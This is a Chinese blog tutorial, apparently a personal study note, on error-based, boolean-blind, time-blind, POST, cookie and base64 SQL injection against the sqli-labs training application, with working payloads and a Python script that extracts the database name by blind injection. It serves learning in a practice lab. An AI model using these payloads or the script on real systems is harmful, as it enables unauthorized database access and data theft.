SQL注入(2)——各种注入

2023-11-07

本专栏是笔者的网络安全学习笔记,一面分享,同时作为笔记

前文链接

  1. WAMP/DVWA/sqli-labs 搭建
  2. burpsuite工具抓包及Intruder暴力破解的使用
  3. 目录扫描,请求重发,漏洞扫描等工具的使用
  4. 网站信息收集及nmap的下载使用
  5. SQL注入(1)——了解成因和手工注入方法

上一篇讲了SQL手工注入及简单的检测,今天来讲解各种类型的注入。

这里配合先前搭建好的sqli-lab进行测试

报错注入

报错注入主要是通过使数据库报错,从而获取信息。
这里报错函数主要是updatexml、extractvalue
这里分别演示一下使用方法
updatexml()
在这里插入图片描述
0x7e是~的ASCII,在这里成功返回了当前数据库。

extractvalue
在这里插入图片描述
实例:http://192.168.1.9/sql1/Less-5
访问id=1,看见如下界面
在这里插入图片描述
分别输入 ’ and ‘1’='1’ and ‘1’='2,查看响应结果
’ and ‘1’='1

’ and ‘1’='2
在这里插入图片描述
发现界面发生了错误,判断存在SQL注入漏洞,但由于没有回显,所以不能用union注入,这是可以用报错注入

爆数据库:
payload:id=1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)–+
在这里插入图片描述
后续步骤与union注入一致。

布尔盲注

测试页面:http://192.168.1.9/sql1/Less-8/
访问id=1,响应
在这里插入图片描述
我们分别访问 ’ and ‘1’='1’ and ‘1’='2,查看响应结果
’ and ‘1’='1
在这里插入图片描述
’ and ‘1’='2
在这里插入图片描述
发现响应了错误的请求,此时由于没有错误信息,也没有回显,我们可以用bool盲注

访问 id=1’ and length(database())>1–+,响应了正确的页面
在这里插入图片描述
再访问 id=1’ and length(database())>10–+
在这里插入图片描述
确认存在布尔盲注

接下来写一个脚本来爆出想要的信息

bool.py

import requests
url='http://192.168.1.9/sql1/Less-8/?'
payload="id=1' and ord(substr(database(),%d,1))=%d--+"
session=requests.Session()
result=''
for i in range(10):
	for j in range(97,123):
		text=session.get(url+payload%(i,j)).text
		if (len(text)!=722):
			result+=chr(j)
print(result)

这只是很简单的脚本,还有更多的改进方法
在这里插入图片描述
成功爆出了数据库名

时间盲注

这里介绍两个函数
if (expr1,expr2,expr3)
含义:如果expr1是true,则返回值为expr2,否则返回值为expr3

sleep(n)
含义:休眠n秒
这样我们就可以构造如这样的payload

id=1’ and if(length(database())>1,sleep(5),1)–+

此时,如果数据库的长度大于一,就会休眠5秒,否则就会返回直接结果

由于响应的时间非常短,我们可以用burpsuite的Repeater查看返回结果,从而判断
链接:http://192.168.1.9/sql1/Less-9/
访问 id=1,查看结果
在这里插入图片描述
分别输入 ’ and ‘1’='1’ and ‘1’='2
在这里插入图片描述
在这里插入图片描述
发现返回结果无异,此时不能用bool盲注,但可以尝试时间盲注

构造payload:id=1’ and if (length(database())>1,sleep(5),1)–+
在这里插入图片描述
发现响应时间为5秒,判断存在时间盲注

剩下步骤
与bool注入一致

POST注入

POST注入指注入点在POST参数中
测试地址:http://192.168.1.9/sql1/Less-12/
我们访问界面,会看到一个登录框
在这里插入图片描述
我们在里面输入一个双引号,发现返回了错误信息
在这里插入图片描述
告诉我们是用双引号和括号包裹起来的

利用bp抓包请求,构造payload
在这里插入图片描述
登录成功了,说明存在注入

输入 order by子句判断字段数
order by 1
在这里插入图片描述
order by 2
在这里插入图片描述
order by 3
在这里插入图片描述
页面报错,说明存在两个字段

爆数据库:
payload:uname=123") union select 1,database()–+
在这里插入图片描述
剩下步骤与union注入一致

Cookie注入

Cookie注入指注入参数在Cookie中
测试地址:http://192.168.1.9/sql1/Less-20
访问这个界面,会出现一个登陆框,在登录之后,会出现关于用户的信息
在这里插入图片描述
在这里插入图片描述
此时在bp中抓包看见cookie中有uname字段。
在这里插入图片描述
在admin后加一个单引号,发现页面报错,推测存在sql注入
在这里插入图片描述
在admin后面加上 ’ and ‘1’=‘1’–+'and ‘1’=‘2’–+
’ and ‘1’=‘1’–+
在这里插入图片描述
’and ‘1’=‘2’–+
在这里插入图片描述页面出错,存在注入漏洞

通过order by爆字段数
order by 1
在这里插入图片描述
order by 4
在这里插入图片描述

字段数为3

爆数据库:uname=a’ union select 1,2,database()–+

在这里插入图片描述
剩余步骤与union一致

Base64注入

Base64注入指在注入参数中经过了base64加密
测试地址:http://192.168.1.9/sql1/Less-21/index.php
访问页面,登录,输出了我们的信息
在这里插入图片描述
bp抓包看参数,发现uname经过了加密
在这里插入图片描述
其中,%3D是url编码,意为 = 。也就是uname的值为YWRtaW4=
放到Decoder模块进行解密,发现Base64解密的结果是admin
在这里插入图片描述
接下来构造payload,并将payload进行base64加密后发送去
payload:admin’–+
加密后:YWRtaW4nLS0r
查看发送结果
在这里插入图片描述
提示被括号包围,重新构造payload为admin’)#
加密结果:YWRtaW4nKSM=
查看请求结果
在这里插入图片描述
发现注入点
通过order by 子句获取字段数为三
构造payload爆信息
payload:a’) union select 1,2,database()#
加密结果:YScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
响应结果在这里插入图片描述
后续步骤与union注入一致

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入(2)——各种注入 的相关文章

  • 区块链技术在金融行业的应用

    作为比特币背后的分布式账本技术 区块链 它的热潮似乎已经无可阻挡 在区块链的创新和应用探索中 金融是最主要的领域 现阶段主要的区块链应用探索和实践 也都是围绕金融领域展开的 在金融领域中 区块链技术在数字货币 支付清算 智能合约 金融交易
  • tmux的使用方法和个性化配置

    tmux的使用方法和个性化配置 tmux是一个优秀的终端复用软件 即使非正常掉线 也能保证当前的任务运行 这一点对于 远程SSH访问特别有用 网络不好的情况下仍然能保证工作现场不丢失 此外 tmux完全使用键盘 控制窗口 实现窗口的切换功能
  • autorelease(IOS开发)的原理详解

    转载出处 http tieba baidu com p 3427605546 转载出处 http blog csdn net c395565746c article details 7613814 当您向一个对象发送一个autoreleas

随机推荐

  • [激光原理与应用-64]:激光器-器件 - 光电二极管

    第1章 概述 光电二极管 Photo Diode 和普通二极管一样 也是由一个PN结组成的半导体器件 也具有单方向导电特性 但在电路中它不是作整流元件 而是把光信号转换成电信号的光电传感器件 普通二极管在反向电压作用时处于截止状态 只能流过
  • STM3216位IO口操作的一些教训,STM32操作IO口的寄存器是16位,但是高低8位分别并口操作不同的器件,怎么办,会覆盖数据。BSRR 设计的目的就是为了能同时操作想修改的位0不影响1或置1或0

    STM3216位IO口操作的一些教训 yuanmeixiang 2017 05 05 20 12 24 8783 收藏 9 分类专栏 STM32 文章标签 stm32 8位操作 版权 最近在用TFT屏的时候走啦不少弯路 因为TFT屏都是16
  • sublimeText竖向多行选择快捷键

    Shift 鼠标右键
  • Navicat使用HTTP通道连接MySQL(通过php代理连接数据库)

    文章来源 https blog ll00 cn archives 127 html 问题描述 通过web服务器访问db服务器 因为db服务器没有外网ip 不支持外网直接访问 web服安装了php 有外网IP 支持外网http访问 补充 什么
  • unity 3D 远程关机

    远程关机的方法很多 首先就是调用系统的运行命令 其次也可以费别写一个服务端和客户端 当然我们也可以借助第三方插件来实现远程关机 第一种 调用系统的运行命令 这个就非常简单了 直接打开cmd exe文件 写入关机命令就行了 System Di
  • 因子【Wannafly挑战赛25 A】

    题目链接 思路 遇到N 这样的大数很显然是没办法直接去处理的 题目中告诉我们的已知是 N P k 0与 N P k 1 0 怎么处理N 是一个很复杂的事情 那我们从P开始考虑 尝试着将P拆成几个质因子的乘积形式 例如12可以拆成2 2 3的
  • 整数乘法运算

    在高级语言中 两个n位整数相乘得到的结果通常也是一个n位整数 即结果只取2n位乘积中的低n位 这导致乘法运算得到结果必须在范围 2n 1 lt x y lt 2n 1才不会溢出 假设为4位 进行52 0101 0101 0101 0101
  • 用Rust生成Ant-Design Table Columns

    经常开发表格 是不是已经被手写Ant Design Table的Columns整烦了 尤其是ToB项目 表格经常动不动就几十列 每次照着后端给的接口文档一个个配置 太头疼了 主要是有时还会粘错就尴尬了 那有没有办法能自动生成columns配
  • ​EcomGPT:指令微调的电商领域大模型

    论文链接 https arxiv org abs 2308 06966 GitHub链接 https github com Alibaba NLP EcomGPT 今天给大家介绍下我们在训练电商领域大模型方面的尝试 希望对研发相关或其他领域
  • RTL8762DK-最小系统板

    目录 概述 一 原理图 二 PCB 三 总结 概述 此 RTL8762DK 最小系统板 已画了有一段时间 思来想去 还是开源了 供大家参考 环境是使用AD绘制 学习RTL8762DK 可以在淘宝购买一块开发板 当然 喜欢折腾的人 自己动手画
  • 解决master主分支与其他分支冲突的问题

    我们在拉取代码的时候 有时候会本地修改一些东西 这就需要解决方法 出现 MERGING 报错后 先手动清除报错的地方 然后操作 git add git commit m ceshi git pull origin master 由于我在本地
  • 搭建Web环境、JSP初识

    理解C S和B S架构及其优缺点 B Browser S Server 网站 优点 不需要更新 服务器端更新 客户端基本不受影响 刷新一下可能就更新了 跨平台 只需要有浏览器 就可以使用 write once run anywhere 缺点
  • 机器学习技法 之 聚合模型(Aggregation Model)

    聚合模型实际上就是将许多模型聚合在一起 从而使其分类性能更佳 aggregation models mix or combine hypotheses for better performance 下面举个例子 你有 T T T 朋友 他们
  • 深入解构objc_msgSend函数的实现

    阅读本文后你将会进一步了解Runtime的实现 享元设计模式的实践 内存数据存储优化 编译内存屏障 多线程无锁读写实现 垃圾回收等相关的技术点 objc class Class对象 结构简介 熟悉OC语言的Runtime 运行时 机制以及对
  • spark应用tips

    1 正常sprkui会在scan和exchange都有数据显示 前者是条数 后者是存储 如果不显示说明这个阶段没有数据 2 stats size 是逻辑上基于读取表存储估算的可能广播的数据大小 data size 是执行期间 根据shuff
  • [linux] shell 输入/输出重定向 、 文件包含

    Shell 输入 输出重定向 大多数 UNIX 系统命令从终端接受输入并将所产生的输出发送回 到终端 一个命令通常从一个叫标准输入的地方读取输入 默认情况下 这恰好是自己的终端 同样 一个命令通常将其输出写入到标准输出 默认情况下 这也是自
  • flask 视频流直播

    flask 视频流直播 本文将介绍如何本地通过浏览器查看远端服务器的摄像头采集到的视频 服务端 实现实时视频流式传输主要采用服务器推送技术 服务器在响应请求时 HTTP使用MIME报文格式来封装数据 通常一个HTTP响应只能包含一个数据块
  • 关于 Error: Cannot find module ‘webpack/lib/RuleSet‘ 的详细解决方法(亲测有效)- 以及删除脚手架的方法

    对于出现的这个错误 之前我也尝试了网上的多种解决方案 最终经过测试后 是通过将原来的 vue cli 版本降级到 4 5 15 版本 最后再重新安装 node modules 包 才得以解决 下面是我将介绍怎么安装 4 5 15 版本的脚手
  • linux svn 用户名存储,Linux下SVN账户密码保存设置

    Linux下用SVN进行更新等操作时 总是提示输入用户名和密码 很不方便 因此搜了下解决办法 总结如下 Linux下用SVN进行更新等操作时 总是提示输入用户名和密码 很不方便 因此搜了下解决办法 总结如下 打开SVN配置文件 vim ho
  • SQL注入(2)——各种注入

    本专栏是笔者的网络安全学习笔记 一面分享 同时作为笔记 前文链接 WAMP DVWA sqli labs 搭建 burpsuite工具抓包及Intruder暴力破解的使用 目录扫描 请求重发 漏洞扫描等工具的使用 网站信息收集及nmap的下